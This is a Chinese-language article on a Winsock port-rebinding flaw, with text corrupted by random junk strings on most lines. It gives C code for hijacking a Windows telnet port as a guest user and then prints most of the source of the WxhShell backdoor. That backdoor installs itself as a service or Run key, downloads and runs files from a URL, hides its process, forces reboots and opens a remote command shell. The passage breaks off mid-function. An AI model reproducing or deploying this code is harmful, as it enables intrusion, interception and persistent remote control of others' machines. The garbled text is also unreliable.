在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
=J==i? s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
m~ABC#,2 wm@@$ saddr.sin_family = AF_INET;
.LZ?S"z$w h*a(_11 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
",t?8465y
**0~K" ;\ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
sdrfsrNvB- %0?KMRr 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
xu%k~4cB, 9RL`<,Q 这意味着什么?意味着可以进行如下的攻击:
By,eETU] 8`{:MkXP 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
aKDKmHd ;1=1:S8 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
2.y-48Nz I,DS@SK 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
QL/(72K rXq.DvQ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
c#]4awHU ?R
'r4P, 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
@4C% +- qkqIV^*R 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Q\vpqE!9 zI uJ-8T" 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
1H`,WQ1mG =I5>$}q_&, #include
(L:>\m&NO #include
n&/
` #include
DfD&)tsMQ #include
N>1em!AS DWORD WINAPI ClientThread(LPVOID lpParam);
Oo~;
L, int main()
W*:.Gxv] {
6_;icpN] WORD wVersionRequested;
MchA{p&Ol DWORD ret;
{Mk6T1Bkq WSADATA wsaData;
`(;m?<% BOOL val;
/}Axf"OE SOCKADDR_IN saddr;
|-ALklXr SOCKADDR_IN scaddr;
Rv>-4@fMJ int err;
Q{>k1$fkV SOCKET s;
K5 z<3+ SOCKET sc;
R29~~IOqO int caddsize;
Dy&i&5E.-l HANDLE mt;
= svN#q5s DWORD tid;
~8+ Zs wVersionRequested = MAKEWORD( 2, 2 );
@
q3k%$4 err = WSAStartup( wVersionRequested, &wsaData );
+`0k Fbx if ( err != 0 ) {
>'$Mp < printf("error!WSAStartup failed!\n");
Y@iS_lR return -1;
.Hm>i }
>:!5*E5? saddr.sin_family = AF_INET;
/N.b%M]! M_f:A //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
6@!`]tSCK T>Z<]s saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
0mVNQxHI saddr.sin_port = htons(23);
qR{=pR if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
hfTY. {
F(n$ printf("error!socket failed!\n");
H?Wya.7 return -1;
IOH}x4 }
kD%( _K5 val = TRUE;
}8z?t:|S //SO_REUSEADDR选项就是可以实现端口重绑定的
]W!0$'o if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
!qg`/y9 {
q2j{tP# printf("error!setsockopt failed!\n");
>=>2m2z= return -1;
Or+U@vAnk }
:cECRm* //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
o|:b;\)b //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
"sCRdx]_ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
+\A,&;!SR 3hH<T.@) if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
=nS3p6>rZ {
;'K5J9k ret=GetLastError();
TdMruSY printf("error!bind failed!\n");
*fxG?}YT return -1;
@. l@\4m }
T -2t.Xs listen(s,2);
aXYY:; while(1)
Y.UFbrv {
Vb_4f" caddsize = sizeof(scaddr);
,4$>,@WW~ //接受连接请求
0OE:[pR sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
x9g#<2w8 if(sc!=INVALID_SOCKET)
X_h}J=33Q {
cT,sh~-x, mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
bE. .P&" if(mt==NULL)
m
s\} {
{\5 printf("Thread Creat Failed!\n");
~
7s!VR break;
q9_OGd|P }
* u>\57W }
teF9Q+*~ CloseHandle(mt);
\b x$i* }
2ilQXy closesocket(s);
vE?G7%, WSACleanup();
aFYIM`?( return 0;
oc`H}Wvn }
F41=b4/ DWORD WINAPI ClientThread(LPVOID lpParam)
n>YKa)|W` {
NLqzi%s SOCKET ss = (SOCKET)lpParam;
da(<K} SOCKET sc;
T5h
H unsigned char buf[4096];
4[eXe$ SOCKADDR_IN saddr;
Yq
KCeg long num;
%u'ukcL7 DWORD val;
uXvtfc DWORD ret;
wHy!CP% //如果是隐藏端口应用的话,可以在此处加一些判断
fZF@k5*\ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
HZge!Yp< saddr.sin_family = AF_INET;
.q>iXE_c saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
C'x&Py/# saddr.sin_port = htons(23);
bAMdI 5Zk? if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
+e``OeXog {
L0o\J` : printf("error!socket failed!\n");
GTd,n= return -1;
.k !{* }
{wKB;?fUvk val = 100;
(<9u-HF# if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
]=BB# {
4hj|cCrO ret = GetLastError();
=^?/+p8k return -1;
4pvMd }
hgq;`_;1, if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
0=YI@@n) {
W<g1<z\f ret = GetLastError();
fJg+ Ryo return -1;
H:|uw }
PW0LG^xp` if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
oEv'dQ9 {
]f_p8?j" printf("error!socket connect failed!\n");
2^7`mES closesocket(sc);
~xFkU# closesocket(ss);
QXK{bxwC return -1;
W=?<<dVYD }
?J0y| while(1)
z24q3 3O {
2?Vd 5xkt //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
6gDN`e,@ //如果是嗅探内容的话,可以再此处进行内容分析和记录
L4W5EO$ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
z$sT !QL~ num = recv(ss,buf,4096,0);
9 68Ez
if(num>0)
Pq$n5fZC! send(sc,buf,num,0);
1% ` Rs
else if(num==0)
[a(#1 break;
"{t$nVJ num = recv(sc,buf,4096,0);
*;FdD{+ if(num>0)
a<e[e> send(ss,buf,num,0);
SpBy3wd else if(num==0)
~xTt204S break;
Lg hfM"g }
u ga_T closesocket(ss);
vY3h3o closesocket(sc);
A#,ZUOPGH return 0 ;
Q>z8IlJ} }
.}+}8[p4l *-X[u: ?Bmb' 3 ==========================================================
!4!~Lk= bN.Pex 下边附上一个代码,,WXhSHELL
er\|i. Y L~3Pm%{@A ==========================================================
0jfuBj5! 4+tEFxvX& #include "stdafx.h"
['D]>Ot68 U<XG{<2 #include <stdio.h>
BA.uw_^4 #include <string.h>
XjBD{m( #include <windows.h>
7_t'( /yu #include <winsock2.h>
zQ PQ #include <winsvc.h>
#-J>NWdt #include <urlmon.h>
/bmN\I a+QpM*n7Lq #pragma comment (lib, "Ws2_32.lib")
!,PWb3S #pragma comment (lib, "urlmon.lib")
Gc7=
'3;b@g, #define MAX_USER 100 // 最大客户端连接数
RnN!2K #define BUF_SOCK 200 // sock buffer
W,u:gzmhw #define KEY_BUFF 255 // 输入 buffer
6eCCmIdaM "@ n%Z #define REBOOT 0 // 重启
dh\P4 #define SHUTDOWN 1 // 关机
=(^3}x
l^}c! #define DEF_PORT 5000 // 监听端口
j<$2hiI/?& l,).p #define REG_LEN 16 // 注册表键长度
HaYo!.(Fv #define SVC_LEN 80 // NT服务名长度
2<3K3uz !R$`+wZ62 // 从dll定义API
\)e'`29; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
5r0YA
IJ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
}m8q}~>tL typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
uAk.@nfiEv typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
?7A>+EY *1"+%Z^ // wxhshell配置信息
=~gvZV-< struct WSCFG {
a'T;x`b8U, int ws_port; // 监听端口
dr"1s-D4IQ char ws_passstr[REG_LEN]; // 口令
x1a:u int ws_autoins; // 安装标记, 1=yes 0=no
/wv0i3_e
char ws_regname[REG_LEN]; // 注册表键名
<3
uNl char ws_svcname[REG_LEN]; // 服务名
~#/ char ws_svcdisp[SVC_LEN]; // 服务显示名
Dp:BU|r char ws_svcdesc[SVC_LEN]; // 服务描述信息
vQ.R{!",> char ws_passmsg[SVC_LEN]; // 密码输入提示信息
EM_d8o)`B int ws_downexe; // 下载执行标记, 1=yes 0=no
gM]:Ma char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
!u hT char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Gm`8q}<I .)3 <Q}> };
k3|Z7eW}[ ^z\cyT%7t // default Wxhshell configuration
+T+#q@ struct WSCFG wscfg={DEF_PORT,
OTv) "xuhuanlingzhe",
$;PMkUE 1,
\<K5ZIWV "Wxhshell",
zm# ?W "Wxhshell",
iow"n$/ "WxhShell Service",
4Tc~b3\!Y "Wrsky Windows CmdShell Service",
/kG_*>.Z "Please Input Your Password: ",
/_.|E] 1,
->jDb/a{C "
http://www.wrsky.com/wxhshell.exe",
)5H?Vh>36 "Wxhshell.exe"
Fzcwy V
};
}0 ?3:A iDD$pd,e\ // 消息定义模块
8XaQAy%d] char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
8CE = 4 char *msg_ws_prompt="\n\r? for help\n\r#>";
iRBfx char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
GX%g9f!O char *msg_ws_ext="\n\rExit.";
u@^LW<eD char *msg_ws_end="\n\rQuit.";
; @X<lCk char *msg_ws_boot="\n\rReboot...";
Bp{Ri_&A char *msg_ws_poff="\n\rShutdown...";
bK7J} 8hH char *msg_ws_down="\n\rSave to ";
bMBLXk d 'ifLQ\ char *msg_ws_err="\n\rErr!";
1H9!5=Ff char *msg_ws_ok="\n\rOK!";
z!\*Y
=e r|Z{-*` char ExeFile[MAX_PATH];
/V By^ L: int nUser = 0;
ABkl%m6xf HANDLE handles[MAX_USER];
"jCu6Rj d int OsIsNt;
_dg\\c WzWXE( SERVICE_STATUS serviceStatus;
U!]dEW|G SERVICE_STATUS_HANDLE hServiceStatusHandle;
0"#HJA44 .]Z"C&"N] // 函数声明
13f)&#, F int Install(void);
)}vl\7= int Uninstall(void);
P
{'b:C int DownloadFile(char *sURL, SOCKET wsh);
`_h&glMJ,q int Boot(int flag);
R#KU^]"( void HideProc(void);
8k79&| int GetOsVer(void);
:KO2| v\ int Wxhshell(SOCKET wsl);
=u;MCQ[ void TalkWithClient(void *cs);
P2Y^d#jO int CmdShell(SOCKET sock);
!9x} int StartFromService(void);
R-Sym8c int StartWxhshell(LPSTR lpCmdLine);
>sbu<|]a
7 S>{~nOYt-` VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
=c7;r]Ol VOID WINAPI NTServiceHandler( DWORD fdwControl );
n !(F, b /RF7j; // 数据结构和表定义
kVL.PY\K SERVICE_TABLE_ENTRY DispatchTable[] =
7z-[f'EIUI {
pk~WrqK} {wscfg.ws_svcname, NTServiceMain},
M=Wz {NULL, NULL}
)e{}V\;q };
QW"! (`K MQ4KdqgP // 自我安装
05[SC}MCA int Install(void)
\v/[6&|X0s {
Ss`LLq0LO char svExeFile[MAX_PATH];
_f{{( 7 HKEY key;
Xr{v~bf strcpy(svExeFile,ExeFile);
r*Xuj= 28nFRr // 如果是win9x系统,修改注册表设为自启动
Js;h% if(!OsIsNt) {
hOeRd#AQK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
pJ{Y
lS{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Debv4Gr;^ RegCloseKey(key);
r
:dTz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
/<3UQLMa RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
fR|A(u#9 RegCloseKey(key);
EQ ttoOO return 0;
Wjc'*QCPl }
e# bn# }
g=rbPbu }
c`W,~[Q<O+ else {
y)*RV;^ H>C=zo,oiC // 如果是NT以上系统,安装为系统服务
-HuA
\0J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
x"~JR\yzKJ if (schSCManager!=0)
wS*E(IAl {
Y ay?=Y{ SC_HANDLE schService = CreateService
Mfs?x
a (
A=4OWV? schSCManager,
j39wA~K wscfg.ws_svcname,
*`U~?q} wscfg.ws_svcdisp,
9VT;ep SERVICE_ALL_ACCESS,
xkn;,`t^lJ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
v2?ZQeHr_( SERVICE_AUTO_START,
5)E @F9N SERVICE_ERROR_NORMAL,
S[N5 ikg svExeFile,
W4N{S.#! NULL,
F5Va+z,jg NULL,
j@9T.P1 NULL,
;);kEq/=P NULL,
he4(hX^ NULL
Y0>y8UV );
*2?@
|<(r if (schService!=0)
:Sma`U& {
g5yJfRLxp CloseServiceHandle(schService);
]?*wbxU0 CloseServiceHandle(schSCManager);
r3Ykz%6 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
/o[w4d8 strcat(svExeFile,wscfg.ws_svcname);
:%.D78& if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
HV.t6@\}; RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
O84i;S+-p RegCloseKey(key);
&NWEqBz*2 return 0;
m2o0y++TjW }
9gFUaDLo }
B3BN`mdn> CloseServiceHandle(schSCManager);
PeT'^?> }
6 r"<jh # }
HDLk>_N_s, putrSSL} return 1;
?EL zj }
:>*7=q= _LPHPj^Pg // 自我卸载
xwr8`?]y int Uninstall(void)
Ib`XT0k {
/\Ef%@ HKEY key;
9UkBwS` ~V-XEQA if(!OsIsNt) {
!?XC1xe~R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
eIlva? RegDeleteValue(key,wscfg.ws_regname);
<N)oS-m> RegCloseKey(key);
>bxS3FCX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
`g,..Ns-r RegDeleteValue(key,wscfg.ws_regname);
NgwbQ7) RegCloseKey(key);
*Uh!>Iv; return 0;
RpK@?[4s }
g*Phv|kI }
'7/)Ot( }
B6"0OIDY" else {
_+,TT['57s `gJ(0#ac SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Gq6*SaTk if (schSCManager!=0)
TJN4k@\$2 {
Si7*& dw= SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
aYeR{Y] if (schService!=0)
JLYi]nZ {
%RVZD#zr if(DeleteService(schService)!=0) {
y(&Ac[foS} CloseServiceHandle(schService);
6mE\OS-I CloseServiceHandle(schSCManager);
y2v^-q3 return 0;
iwq!w6+ }
F:VIzyMq< CloseServiceHandle(schService);
GeqPRah }
:Al!1BJQ CloseServiceHandle(schSCManager);
5bIw?%dk( }
SKtr tm }
-} +[ S3#>9k;p return 1;
So;<6~ }
.6> w'F{> R/_&m$ZB // 从指定url下载文件
%C0Dw\A*: int DownloadFile(char *sURL, SOCKET wsh)
*_e3 @g {
i?/qY&~ HRESULT hr;
LscGTs, char seps[]= "/";
GB^B r6 char *token;
9$Y=orpWxr char *file;
83m3OD_y char myURL[MAX_PATH];
~>G^=0LT char myFILE[MAX_PATH];
CAlCDfKW} @d_M@\r=j strcpy(myURL,sURL);
KXrjqqXs token=strtok(myURL,seps);
5xBbrU; while(token!=NULL)
=%7-ZH9 {
Q/?$x*\> file=token;
-4K5-|>O token=strtok(NULL,seps);
$xqa{L%B }
0"R|..l/ #G3<7PK GetCurrentDirectory(MAX_PATH,myFILE);
|:o4w strcat(myFILE, "\\");
Pfh mo $ strcat(myFILE, file);
@ZJS&23E send(wsh,myFILE,strlen(myFILE),0);
YR70BOxK send(wsh,"...",3,0);
Smh,zCc>s hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
vI?, 47Hj+ if(hr==S_OK)
[7-?7mp!B return 0;
"7
yD0T)2 else
yu|>t4#GT return 1;
TvM~y\s 2eogY# }
q)GdD== maZ)cW?
// 系统电源模块
K}y
f>'O int Boot(int flag)
xo)P?- {
[UR-I0 s!/ HANDLE hToken;
6Zo}(^Ovz TOKEN_PRIVILEGES tkp;
/1 dT+> pCDmXB if(OsIsNt) {
W)/#0*7 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
5G#n"}T LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
^q&x7Kv% tkp.PrivilegeCount = 1;
F@t3!bj9 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
<b.D& AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
#Z #-Ht if(flag==REBOOT) {
X2_=agEP if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
b>W%t return 0;
V9vTsmo( }
Iv *<La else {
\['Cj*e k if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
/FII07V return 0;
:s,Z<^5a)g }
n<,BmVQ }
'"^'MXa else {
(:_$5&i7 if(flag==REBOOT) {
kM6
Qp if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
NbobliC= return 0;
VVZ'i.*_3? }
hgmCRC else {
W^Yxny if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
(Z*!#}z` return 0;
~[ jQ!tz }
|pK!S }
I]575\bA ' QG?nu return 1;
R-:2HRaA }
txpgO1 K'bP@y_cq // win9x进程隐藏模块
Z;i:]( void HideProc(void)
Dv"9qk {
sK{e*[I>W ZNoDFf*h HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
'F<TSy|4kI if ( hKernel != NULL )
sB</DS {
XSDpRo pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Y73C5.dNcE ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
:h$$J
lP FreeLibrary(hKernel);
0f/<7R }
s1rCpzK0 ok[i<zl;' return;
ixFi{_ }
.8R@2c`}Cs m*pJBZxd // 获取操作系统版本
w(/S?d
int GetOsVer(void)
6<]lW {
2iOV/=+ OSVERSIONINFO winfo;
YVU7wW,1 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
\G[$:nS GetVersionEx(&winfo);
3<!7>]A if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
M7T5
~/4 return 1;
G2D$aSh else
DrR@n~ return 0;
pb}*\/s }
\bcLiKE{
}pYqWTG // 客户端句柄模块
>j/w@Fj int Wxhshell(SOCKET wsl)
uYN`:b8 {
WLT"ji0w2 SOCKET wsh;
*VcJ= b
2Y struct sockaddr_in client;
*p U x8yB DWORD myID;
~ a: vQCy\Gi while(nUser<MAX_USER)
}j%5t ~Qa {
XZ7Lk)IR int nSize=sizeof(client);
" x-j~u? wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
$I=~S[p if(wsh==INVALID_SOCKET) return 1;
N['.BN tA;}h7/Lc~ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
;`&kZi60Hz if(handles[nUser]==0)
YWLj?+ closesocket(wsh);
siI;"? else
Upe%rC( nUser++;
u_enqC3 }
M >u_4AY WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
QV!up^Zso 2ESo2 return 0;
]DcFySyv }
r;{.%s7 RP"kC4~1 // 关闭 socket
aOp\91
void CloseIt(SOCKET wsh)
wT@og|M {
icgfB-1|i closesocket(wsh);
b9krOe*j nUser--;
S'" Df5 ExitThread(0);
6Oq7#3] }
UNYqft4 #e"[^_C@! // 客户端请求句柄
"sTRS* void TalkWithClient(void *cs)
)8AXm {
@]j1:PN-
A"]YM'. SOCKET wsh=(SOCKET)cs;
f#;> g char pwd[SVC_LEN];
iTwm3V
P char cmd[KEY_BUFF];
;pAK_> char chr[1];
>7|VR:U?B int i,j;
;p//QJB9 _)8s'MjA:& while (nUser < MAX_USER) {
jp,4h4C^) K0~rN.C!0 if(wscfg.ws_passstr) {
?4 ,T}@P if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
1?}T=)3+$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
A^g(k5M* //ZeroMemory(pwd,KEY_BUFF);
dN q$} i=0;
h{Y",7]! while(i<SVC_LEN) {
e+WNk
2 Xvu(vA // 设置超时
vP&(-a fd_set FdRead;
!0+JbZ<%r| struct timeval TimeOut;
a(nlTMfu FD_ZERO(&FdRead);
dd;~K&_Q/i FD_SET(wsh,&FdRead);
4Z*/WsCv TimeOut.tv_sec=8;
)7F/O3Tq TimeOut.tv_usec=0;
4RO}<$Nx} int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
4s-!7 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
e
,(mR+a8 vsPu*[% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
G{}VPcrbC pwd
=chr[0]; @JMiO^
if(chr[0]==0xd || chr[0]==0xa) { fhiM U8(&
pwd=0; V
gWRW7Se
break; {)XTk&"
} N8jIMb'<
i++; <~)P7~$d?p
} 6x`t{g]f,
@ Y+oiB~Y
// 如果是非法用户,关闭 socket 01]f2.5
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d{?LD?,)
} us-L]S+lm
B#A6v0Ta
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -@'FW*b
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lbgi7|&
.v
K-LHs
while(1) { p K*TE5]
Q,g\
ZeroMemory(cmd,KEY_BUFF); dO'(2J8
{: /}NpA$
// 自动支持客户端 telnet标准 ?uu*L6
j=0; y29m/i:
while(j<KEY_BUFF) { IGl9g_18
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M`_0C38
cmd[j]=chr[0]; Jy)/%p~
if(chr[0]==0xa || chr[0]==0xd) { O.? JmE
cmd[j]=0; rI\FI0zIp_
break; {}9a6.V;}
} 3";q[&F9y
j++; MgZ/(X E
} U^PgG|0N
dtDFoETz
// 下载文件 /ZX}Nc g
if(strstr(cmd,"http://")) { '1[Ft03
send(wsh,msg_ws_down,strlen(msg_ws_down),0); cAw/I@jG
if(DownloadFile(cmd,wsh)) Yy8g(bU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4W75T2q#
else 2?C)&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 97Vtn4N3
} /vt3>d%B;
else { :gv"M8AP
F59 TZI
switch(cmd[0]) { W9&=xs6
}e1ZbmW
// 帮助 &]Tmxh(
case '?': { + {]j]OP
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WJi]t9 3
break; "+c-pO`Wg
} 4g/dP^
// 安装 mpyt5#f
case 'i': { C!gZN9-
if(Install()) Ry&6p>-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tbr=aY$jY
else X}]-*T|a
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R2NZ{"h
break; 6Wn1{v0
} 4+n\k
// 卸载 )X7A
case 'r': { ?dTD\)%A
if(Uninstall()) }p
V:M{Nu&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /
{%%"j
else y =@N|f!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZSw.U:ep$s
break; 6)J#OKZ
} Om&Dw|xG8
// 显示 wxhshell 所在路径 /Oono6j
case 'p': { Ri'n
char svExeFile[MAX_PATH]; ]~-r}`]
strcpy(svExeFile,"\n\r"); XppOU
strcat(svExeFile,ExeFile); ZCw]m#lS
send(wsh,svExeFile,strlen(svExeFile),0); NK+o1
break; KvSG;
} ooGM$U
// 重启 Gj*9~*xm(
case 'b': { %O<BfIZ
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x-c"%Z|
if(Boot(REBOOT)) bt *k.=p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -j(6;9"7]|
else { A&{Nh` q
closesocket(wsh); ~&O%N
ExitThread(0); PF2nLb2-
} G$PE}%X
break; k)u[0}
} =Qq+4F)MD
// 关机 Xj*Wu_
case 'd': { hZ3bVi)L\
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5;?yCWc
if(Boot(SHUTDOWN)) 1M-pr 8:6s
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Q B<7a+I
else { G3]4A&h9v~
closesocket(wsh); 6~{C.No}
ExitThread(0); zDp 2g)
} a.'*G6~Qgw
break; ^.tg 7%dJ
} b6[j%(
// 获取shell qR.Q,(b|
case 's': { N!3 2 wJ
CmdShell(wsh); ^8tEach
closesocket(wsh); C~[,z.FvO
ExitThread(0); )"LJ
hLg
break; m|# y
>4
} ivPg9J1S
// 退出 j pOp.
case 'x': { PFR:>^wK2
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0V]s:S
CloseIt(wsh); l%ZhA=TKQ
break; tkhCw/
} !wNO8;(
// 离开 l2d{ 73h
case 'q': { ToQ"Iy?
send(wsh,msg_ws_end,strlen(msg_ws_end),0); D$N/FJ8|G
closesocket(wsh); Y7nvHU|+o
WSACleanup(); _wcNgFx
exit(1); BY*Q_Et
break; E4!Fupkpf
} \jA~9
} .543N<w
} pp2~Meg
/(T?j!nPE
// 提示信息 S'14hk<
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qd6F H2Pl
} *VeRVaBl
} 5;S.H#YOpO
bcR_E5x$
return; % nIf)/2g
} AS,%RN^.
tDo"K3
// shell模块句柄 fnY.ao1-s[
int CmdShell(SOCKET sock) +#By*;BJ
{ vy/-wP|1
STARTUPINFO si; y]imZ4{/
ZeroMemory(&si,sizeof(si)); +RXoi2"-q@
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Wm|lSisY
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; eFAnFJ][L
PROCESS_INFORMATION ProcessInfo; "j-CZ\]U|
char cmdline[]="cmd"; r/sNrB1U"y
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HThcn1u~^b
return 0; J;%Xfx]
} _|]x2xb)
m,S{p<-h
// 自身启动模式 .ByuN
int StartFromService(void) 2%>FR4a
{ oE~RySX
typedef struct OTp]Xe/
{ \1`O_DF~o
DWORD ExitStatus; :jx4{V
DWORD PebBaseAddress; X|[`P<'N<
DWORD AffinityMask;
